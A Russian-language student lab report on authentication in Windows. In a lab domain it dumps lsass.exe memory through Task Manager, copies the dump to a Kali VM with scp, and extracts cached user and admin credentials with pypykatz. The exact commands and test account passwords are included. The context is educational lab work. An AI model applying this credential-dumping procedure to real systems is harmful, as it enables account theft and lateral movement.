---
# System prepended metadata

title: Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 3. ААА в Windows

---

# Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 3. ААА в Windows

[toc]

## 1) Анализ памяти Lsass.exe
Процесс анализа памяти:
* Создание дампа памяти
* Передача на виртуальную машину Kali Linux
* Анализ дампа с помощью mimikatz
 
:::info
:information_source: Для более детального анализа для начала проведём эмуляции различных пользователей на **Windows 10**.
:::

---

1.1 Заходим под учётной записью Ольги.

:::info
login: Olga
password: O-Qq123456
:::

![](https://i.imgur.com/io00n3S.jpg)

---

1.2 Обращаемся к ресурсам домена.

:::info
:information_source: Для этого заходим в ==Проводник-->Сеть-->\\pt.local==

::: 

![](https://i.imgur.com/hsacfRr.png)

---

1.3 Выйдем из учетной записи Ольги и зайдём под учетной записью Петра.

:::info
login: Petr
password: P-Qq123456
:::

![](https://i.imgur.com/prFJCF2.jpg)

---

1.4 Запускаем командную строку от имени администратора.

:::info
:information_source: Так как Petr не является администратором PC1 - вводим данные ADMpetr

login: ADMpetr
password: Qq123456
:::

![](https://i.imgur.com/FWnNBen.png)

---

1.5 Введём команду `whoami`, чтобы проверить от имени какой учетной записи запущена командная строка.

![](https://i.imgur.com/l6b3ker.png)

---

1.6 Теперь запустим диспетчер задач от имени администратора **ADMPetr**.

![](https://i.imgur.com/k3JuCi5.png)

---

1.7 Откроем подробное представление, перейдём в подробности и найдём процесс ==lsass.exe==. Далее нажмем **ПКМ** по процессу ==lsass.exe== и выберем пункт **"Создать дамп файла"**.

![](https://i.imgur.com/QMDwvVU.png)

---

![](https://i.imgur.com/oFqiekH.png)

:::success 
:star: Дамп успешно создан!  
:::

Запоминаем его расположение - оно нам ещё понадобится.

---

1.8 Теперь переходим к виртуальной машине **Kali-Linux**, чтобы включить ==ssh== и передать дамп-файл. Открываем консоль.

![](https://i.imgur.com/AuHnTEM.png)

---

1.9 Повышаем привилегии с помощью команды `sudo -i` и включаем сервис ==ssh==.

![](https://i.imgur.com/0T04zx0.png)

---

1.10 Возвращаемся в Windows 10 Pro и с помощью командной строки, запущенной от имени ADMpetr передаём дамп-файл на Kali-Linux.

Необходимо использовать команду:

```
scp C:\\Users\\ADMpetr\\AppData\\Local\\Temp\\lsass.DMP kali@192.168.10.9:/home/kali
```

:::info
:information_source: 

192.168.10.9 -- IP-адрес Kali-Linux.

После ввода команды нужно подтвердить fingerprint (yes), а после ввести пароль Kali-Linux.
:::

![](https://i.imgur.com/t7OeBVq.png)

:::success 
:star: Файл успешно передан!  
:::

---

1.11 После передачи проверяем наличие файла в директории ==/home/kali== с помощью команды `ls /home/kali`.

![](https://i.imgur.com/kNFLQQp.png)

---

1.12 Переключаемся в директорию с ==lsass== и скачиваем скрипт ==pypykatz==.

Используем команды:

```
cd /home/kali
```

```
git clone https://github.com/skelsec/pypykatz
```

---

1.13 Переходим в директорию ==pypycatz== и выполняем скрипт, применив его к скачанному ранее дамп-файлу.

Для этого используем команды:

```
cd pypykatz/pypykatz
```

```
pypykatz lsa minidump /home/kali/lsass.DMP
```

![](https://i.imgur.com/C4a6T8D.png)

:::success 
:star: Скрипт успешно выполнился!  
:::

:::info
:information_source: Если из директории ==pypykatz== не сработал, то установите его. В верхней папке есть ==setup.py==, запустите его командой ==`python3 setup.py -install`==.
:::

---

1.14 Увидим учетные данные, которые скрипт достал из процесса lsass.

:::info
:information_source: Память процесса lsass содержит учетные данные и ADMPetr, и Petr, так как эти пользователи были активны в момент создания дампа процесса. Под активностью понимается не только прямая сессия с ПК, но и действия, совершаемые по сети, а так же запуск процессов на ПК (как локальный запуск, так и удалённый).

:::

![](https://i.imgur.com/9gWMQ7T.png)

![](https://i.imgur.com/5TY7E6A.png)

---